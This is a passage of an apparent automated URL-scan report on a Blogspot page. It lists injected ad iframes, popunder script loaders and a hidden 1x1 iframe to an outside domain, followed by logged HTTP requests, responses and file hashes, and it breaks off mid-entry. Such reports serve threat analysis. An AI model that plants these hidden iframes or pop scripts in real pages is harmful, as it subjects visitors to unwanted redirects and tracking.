src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_40021f3d5bb63c9dbdcfb475795d659c65a4e1399451_1507904058.2477_12753&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=1207572509321&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTN3pKYXpxV2dDOXI4cGhjbncyNnlyeHBMWDRDM3JheGVQeDNTcTh6VlphWlJKWmZzd1dUaXF0QWIxZWhod0krTm1UekE4UUNZVjRQQmpmMFRHVlEwbDNHUGJqWG04dWlwRFM3cTN0RkRqU1pwQ2RUYkxxQldsWGZLRW5mWjNzMElmMUIwZU9iVnpoaGdxVjRXQ1pSTmIrQVdxRW4yUTQzdmdSYTZ4TnZDOVpYUGpHN1RqWmRKcmtaUk40Ym5FN0hYLytmQ0xjYXpMYlhjbnhyWFFZMWpUQTFTNGxiQzRXSXZPcGtnNUlCeTVwdFJEaklhajB1OVkzOENWZ0ExVG5aT051aVI1M0dsQmJsMmE2VTJza3RGUGFmSnlFcW53S0NyS05vZUhFV0lTaWtRVXlWc1Nrc0dlb3RBQ0VKSmRlWDRORjlla1ZJSHlaNDAreUNJUHZzcm8xaHZzc0RvTUg4ZEZicGQ5bmNjdmtxTC9ta3ZnWTlocE9ZVm90MUFYaWpmb0Q1STJYTnQxV2J4YVVwYVhEWmRFamxIbDdyeGVad2JXcXZpVTViRmZXclNkN2l6Vlkya0N5dkg2YlZJdmc3V253WDROOFhYc1hlallvWmFrelZWSm1MejlvNDQxSnI3NExUSStIK2p3Z1Q=" > < /iframe>
                                    

#12 JavaScript::Write (size: 1244, repeated: 1) - SHA256: 15013c315a02c0e254c15ed5e9ad758a5654a50963afcf35a4e0a84b4de8334f

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_71876f3d5bb63c9dbdcfb475795d659c65a4e1946626_1507904068.1986_15109&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=1900472277968&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTNE5CNTJ3K01OM0h5bWROZHlkZ0ZFTURFWlhVbDJVT2k2NHlXZlRZSnRWV2ZuUmJNNVJtM0dlejhrcWE4ZVg1SFNqVEVCT2VMNEhzZjYrOFdnMjlrMUtrM3gvajNVYkl4bmM2Ryt5Yncxa001dFN0Q2xBQUpXSWlLYUt2MC8vcmtxazBJK0dsSkZ0R0ZZbEZkSjVjVVZFdkFTRWpDY0Y3S3hGWXpzZGxiQU9JRWx6WU9mYzFERzZ4Rjhsc0xkdXpMaUZHY3N5dzJhZi9VbzErTEtPNUFwODk2bE42S0t6L2cvVmZTeGttTUlkZkZ0MXMwYitmczQ2em9sRXpROThJWjhkaHVhWEM5OWRaTU5IRG9sSWhvbnRuTUpacFRQeXlDUHZPNnNJTFpjdUwxL01wMVBpMEVQUVdhMTRnYWc2cU91M0hDUlBiYVp2d3JOTit6Y0dkU0JlSFBLN3pxR01UZXFvRllUWHhNb1dTTk9KbjdWd1pKYmd5eFZhZlRUTUNXcEhUOW1YdzdVTDJ4S3BOak5IVVdpK2gydTlvV203Z2FYWC9lS2piUCtuZ1pJejR3RXNocUgxOUs4NEt1TUlsMDdTZS9FTjRVM25MTEhSK1FEMGRVdGUwVnFQOFNCTUsrNURZSVkrVFhkYzc=" > < /iframe>
                                    

#13 JavaScript::Write (size: 322, repeated: 1) - SHA256: 3ae4be664a76fc926c45dd5c9bb108d0ddaed5b0d41a1236ea891c3c0a102e12

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=120x600&ga=g&xt=150790405524618&safe=1&xtt=9249341"
width = "120"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#14 JavaScript::Write (size: 322, repeated: 1) - SHA256: ba900c454400de421f3ad8118dc20282e312cf27f79d724b81e382811e42542f

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g&xt=150790403690280&safe=1&xtt=8565166"
width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#15 JavaScript::Write (size: 321, repeated: 1) - SHA256: 80ac61dc38ceab7e9125a054531786e13d2962c5fc4a69b0d2b2ce991bde7190

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g&xt=150790403895710&safe=1&xtt=658155"
width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#16 JavaScript::Write (size: 322, repeated: 1) - SHA256: 5775693c25eeb64d404fe13bdde28a34db287834680c69e71b18e648009549cd

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g&xt=150790405269211&safe=1&xtt=4471433"
width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#17 JavaScript::Write (size: 320, repeated: 1) - SHA256: 7278440f586faa7c58275a6a45980d2949ce5a3d050e436fb0866e976cea5ce5

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790405639754&safe=1&xtt=8873302"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#18 JavaScript::Write (size: 320, repeated: 1) - SHA256: adf86de78be5de8785e6cf09aef3862d50abbb07c41d6a9260e05a979d7384c5

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790405825278&safe=1&xtt=1185986"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#19 JavaScript::Write (size: 320, repeated: 1) - SHA256: f3cccb44c80387667332a6b9e6ec9700806ee74277b2bae2f9f8ebefdd9a7e3b

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790405984154&safe=1&xtt=8642397"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#20 JavaScript::Write (size: 320, repeated: 1) - SHA256: 58f5d2255d5f7e448b723d0f217f911e84935a18ec5f193cf04173f331f113eb

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790406677589&safe=1&xtt=2802554"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#21 JavaScript::Write (size: 320, repeated: 1) - SHA256: c8b0ace8a7c7bca721f5e517dba17f5c98e611b97d9591654902ed8181b36132

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790406760170&safe=1&xtt=5446099"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#22 JavaScript::Write (size: 320, repeated: 1) - SHA256: 4b9f93503246d6f056553a0604edb009a39f80a82a067288429b9fe3bd296a5f

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790406931697&safe=1&xtt=4376498"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#23 JavaScript::Write (size: 320, repeated: 1) - SHA256: 52198d12d71e19d3fb5d23e4888323e7bb8d4c0fd88eb7d9368a9b60094ee160

                                        < iframe src = "http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g&xt=150790407089606&safe=1&xtt=7004814"
width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" > < /iframe>
                                    

#24 JavaScript::Write (size: 123, repeated: 3) - SHA256: 446216f8effd42a8ddf735b79a31aa715b63b5f4e14b3f79773498d102e9b8d7

                                        < iframe src = 'http://gt.likes-kaufen.de/'
width = 1 height = 1 frameborder = 0 marginwidth = 0 marginheight = 0 scrolling = no > < /iframe>
                                    

#25 JavaScript::Write (size: 127, repeated: 10) - SHA256: 8d3218f2281e3536cf5a79d4a2c4da4dfad99ad7915411607bfb5741545ea2a5

                                        < script data - cfasync = 'false'
type = 'text/javascript'
src = 'http://www.adnetworkperformance.com/a/display.php?r=1279845' > < /script>
                                    

#26 JavaScript::Write (size: 85, repeated: 6) - SHA256: b9726ec7b9cfc3f5f1ec3d53bd137f6c39e1e7b87b002e97efcd102f18ffceee

                                        < script type = 'text/javascript'
src = '//go.pub2srv.com/apu.php?zoneid=708000' > < /script>
                                    

#27 JavaScript::Write (size: 86, repeated: 16) - SHA256: c18e95e2dc26261450029c8a20311d0abeed0d7b1b65a65b46fc678c95a31209

                                        < script type = 'text/javascript'
src = '//shmoki.com/servepop.php?wid=61455&c=0' > < /script>
                                    

#28 JavaScript::Write (size: 126, repeated: 1) - SHA256: 5d527c5fe2638d4d83b390e2c2fd80f70e456d53e323df8a20842f3fd7b6ecb3

                                        < script type = 'text/javascript'
src = '//ylx-2.com/bnr_safe.php?section=NWLT_1109_84936&pub=856169&format=120x600&ga=g' > < /script>
                                    

#29 JavaScript::Write (size: 126, repeated: 3) - SHA256: d10900a2ce5901b471605b5ad775312f869c6ec7e1449c89c17e3ff59a14248f

                                        < script type = 'text/javascript'
src = '//ylx-2.com/bnr_safe.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g' > < /SCRIPT>
                                    

#30 JavaScript::Write (size: 125, repeated: 7) - SHA256: 551fa41cdeef7c632baf6c5734210957326558af5c94295c9924b1e0b4604837

                                        < script type = 'text/javascript'
src = '//ylx-2.com/bnr_safe.php?section=NWLT_1109_84936&pub=856169&format=728x90&ga=g' > < /script>
                                    

#31 JavaScript::Write (size: 76, repeated: 16) - SHA256: d621604aae39576462e7131b4a6690d2846bd5663369a611ede38556eeacc364

                                        < script type = 'text/javascript'
src = 'http://cdn.popcash.net/pop.js' > < /script>
                                    

#32 JavaScript::Write (size: 186, repeated: 1) - SHA256: 4bc44ac84be808d4e2006fb1298235daea40bb44326f63465aad2e81e19e8dfd

                                        < script type = 'text/javascript'
src = 'http://network.adsmarket.com/ceas/1/2/2/i5Brml-bgJ2LZpieXqSAw4lkbpZfoKmViGpwmGGgqZiLZnCcjZ6DlY5imJU?w=336&h=280&dp=84936&dp2=3&target=blank' > < /script>
                                    

#33 JavaScript::Write (size: 186, repeated: 2) - SHA256: 2eb5aa5a856167daa613d5ba030acb069bac88390b20804bbc09fe3bb674a049

                                        < script type = 'text/javascript'
src = 'http://network.adsmarket.com/ceas/1/2/2/i5Brml-bgJyMZpieXqSAw4lkbpZfoKmViGpwmGGgqZiLZnCcjZ6DlY5imJU?w=336&h=280&dp=84936&dp2=2&target=blank' > < /script>
                                    

#34 JavaScript::Write (size: 186, repeated: 1) - SHA256: 2081a6a05ddd921752a387eab1f12aebb3cfd80e4b2b2f88369f346eebcfb56e

                                        < script type = 'text/javascript'
src = 'http://network.adsmarket.com/ceas/1/2/2/i5Brml-bgZaQZpieXqSAw4lkbpZfoKmViGpwmGGgqZiLZnCcjZ6DlY5imJU?w=336&h=280&dp=84936&dp2=1&target=blank' > < /script>
                                    

#35 JavaScript::Write (size: 186, repeated: 1) - SHA256: f5b7dd134eefe3adc16f967630ec9d3786397abb239c3e54cff54354e6b60d97

                                        < script type = 'text/javascript'
src = 'http://network.adsmarket.com/ceas/1/2/2/ipBrml-bgJuNZpieXqSAw4lkbpZfoKmViGpwmGGgqZiLZnCcjZ6DlY5imJU?w=336&h=280&dp=84936&dp2=4&target=blank' > < /script>
                                    

#36 JavaScript::Write (size: 116, repeated: 16) - SHA256: 30b8270aa77e7dd5ae23f6d2de06bdd59d8b1ee82e3906d1b55c14e73e6c0d5a

                                        < script type = 'text/javascript'
src = 'http://www.adnetworkperformance.com/a/display.php?r=328230&sub1=84936' > < /script>
                                    

#37 JavaScript::Write (size: 86, repeated: 5) - SHA256: 868118935070986b6ac8faddb67e39ddc8a5fd33764a3ed37c4a1473b1574832

                                        < script type = 'text/javascript'
src = 'http://www.cpmfun.com/jspopunder.min.js' > < /script>
                                    

#38 JavaScript::Write (size: 24, repeated: 1) - SHA256: a3ba8250ebf2c8e28e99b0cbcb48488777fa3f512e83a7a56930803eb5d35e05

                                        < xmp style = display: none >
                                    


HTTP Transactions (400)


Request Response
                                        
                                            GET /2014/05/blog-post_23.html HTTP/1.1 
Host: boswekol.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         172.217.22.161
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
                                        
Location: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Content-Encoding: gzip
Date: Fri, 13 Oct 2017 14:13:47 GMT
Expires: Fri, 13 Oct 2017 14:13:47 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 196
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   196
Md5:    134ca910325eb8fd9895f8bbc4ebc7d0
Sha1:   fb7754ae9ab7173eb9f4fd4a1ec78bb64512d00b
Sha256: 376dcb7cec91462c4561d481763f746425dd4b6722ee28368763e6eaf401aa7b
                                        
                                            GET /css?family=Oswald HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         173.194.220.95
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Expires: Fri, 13 Oct 2017 14:13:48 GMT
Date: Fri, 13 Oct 2017 14:13:48 GMT
Cache-Control: private, max-age=86400
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   189
Md5:    d12a6c0d64d04f0de889a31512e40f70
Sha1:   021dad11b63f9c90b9bd55119434ec5bfc2f9653
Sha256: 50c1f893094b21bbcca80675525a514dd2a3c07d27309b521462a04daac4cda0
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:48 GMT
Expires: Tue, 17 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    c588b5e7f5749d9d056036ba1cfed2e3
Sha1:   9705100a2d064fd97528af037834bf03768ce199
Sha256: 3a24566634cdc1cc85455d337eca0f8d2b1ebe90deef8ed1b72effa37c5aaee1
                                        
                                            GET /2014/05/blog-post_23.html HTTP/1.1 
Host: boswekol.blogspot.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Expires: Fri, 13 Oct 2017 14:13:47 GMT
Date: Fri, 13 Oct 2017 14:13:47 GMT
Cache-Control: private, max-age=0
Last-Modified: Fri, 06 Oct 2017 19:28:00 GMT
Etag: W/"ed12cb123e19c65790dd82ce5649cef52fe02507257d4dafb010593beb14c617"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 38288
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   38288
Md5:    e21a13673704aa90de5a7b404273fa96
Sha1:   a6568079788d480109518fd9d143c636ab0f0c2a
Sha256: cacb610beee8dfd0893484c4129377b6447cbbe84618c2377b33c43676e542bd
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:48 GMT
Expires: Tue, 17 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    6bf50ec404fb4a8b4a94be8390d11938
Sha1:   0caaab7704d6221abc5e0342909a4928cee50b1c
Sha256: 63b592179b1e9a528344ce1d430b9479fc55f43420a468ec35aaeaa9dff911cf
                                        
                                            POST /ocsp HTTP/1.1 
Host: clients1.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:48 GMT
Expires: Tue, 17 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    c26d19cfb2cf80da024dca34a52d07ee
Sha1:   20e7a5a5251819a67413644d22a48cc29e58231b
Sha256: 1d8888fe4341af8b314cdff3bf4ab478b14824141d5bd044a9332a78cec3cf94
                                        
                                            POST / HTTP/1.1 
Host: g.symcd.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         23.43.139.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx/1.10.2
Content-Length: 1390
Content-Transfer-Encoding: binary
Cache-Control: max-age=598194, public, no-transform, must-revalidate
Last-Modified: Fri, 13 Oct 2017 12:19:39 GMT
Expires: Fri, 20 Oct 2017 12:19:39 GMT
Date: Fri, 13 Oct 2017 14:13:48 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   1390
Md5:    df996a75bf8bc1fac903d9c242fb0ab5
Sha1:   17022cd9eae9808bff16284ed63cbd895be5976f
Sha256: 1563ba4124e2c93a2f6cea42d53083fac0b22854a7a8b68b317e4e90a60df9c8
                                        
                                            GET /static/v1/widgets/4071546325-widget_css_bundle_rtl.css HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 8470
Date: Thu, 12 Oct 2017 23:00:15 GMT
Expires: Fri, 12 Oct 2018 23:00:15 GMT
Last-Modified: Thu, 12 Oct 2017 21:24:53 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 54813
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   8470
Md5:    93be8c09f0a420b941860277c7dcce93
Sha1:   dd71954df39f6c27b17463913686a73cefe0b931
Sha256: 6dd7e04f8bb3ec08ea566c3e9cbbdabf4fd556e182cf67eb4a5b916e1e54b98a
                                        
                                            GET /ajax/libs/jquery/1.8.0/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         173.194.221.95
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 33285
Date: Thu, 12 Oct 2017 22:59:20 GMT
Expires: Fri, 12 Oct 2018 22:59:20 GMT
Last-Modified: Tue, 20 Dec 2016 18:17:03 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000
Age: 54868
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   33285
Md5:    4361e2f35109abc381fac461dbb67c3b
Sha1:   3c944fb27fb8f20a2dc17122534754518ab65b6c
Sha256: 33c6c5d5089f6d20bf7de56cf3937768647b5ab560ca1ebad69f5a528e78c893
                                        
                                            GET /js/plusone.js HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
x-ua-compatible: IE=edge, chrome=1
Timing-Allow-Origin: *
Etag: "890869021208163134f6380691a4db2d"
Expires: Fri, 13 Oct 2017 14:13:48 GMT
Date: Fri, 13 Oct 2017 14:13:48 GMT
Cache-Control: private, max-age=1800, stale-while-revalidate=1800
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Set-Cookie: NID=114=JhX258ZIrzJZhwlv2YNiZVgQKvsBt_XVI-cLcmPXRDj9pr_n3hlZs6SHpaqEQsWbrTmxPkvN7eJngFgFI5eTa80DnAXUXo2fjiOiilDB_gpz2EELU22K8-G7m_J0tHul;Domain=.google.com;Path=/;Expires=Sat, 14-Apr-2018 14:13:48 GMT;HttpOnly


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17423
Md5:    3fe17520f4b4933cd35c36c843717c62
Sha1:   a77391e20deabfa5ec08c2d99c3bb209f57a53bc
Sha256: 60e6a4c7b43f5e70a52378edd391cd88d0c11417f70f8851b00dd59c55e7f92c
                                        
                                            GET /-oFF4HrEbwaI/To9NpETr6dI/AAAAAAAAEJk/jowvXNvTKcY/s1600/twitter.png HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1099"
Expires: Sat, 14 Oct 2017 10:31:35 GMT
Content-Disposition: inline;filename="twitter.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:32:05 GMT
Server: fife
Content-Length: 946
X-XSS-Protection: 1; mode=block
Age: 2503
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   946
Md5:    4d441c7c8089a0224c99ef838733ea0b
Sha1:   f61709fec1cd69f3df0a36d9c8d4cba188301fef
Sha256: 99d347486fe9ddde5f80d1d01796e067be5babc0f1e2376766fbed87cd31bbfe
                                        
                                            GET /-O6nMA1_akTo/To9NmwKzo4I/AAAAAAAAEJU/UFiFTyAJbnw/s1600/facebook.png HTTP/1.1 
Host: 4.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1095"
Expires: Sat, 14 Oct 2017 06:01:31 GMT
Content-Disposition: inline;filename="facebook.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:19:56 GMT
Server: fife
Content-Length: 939
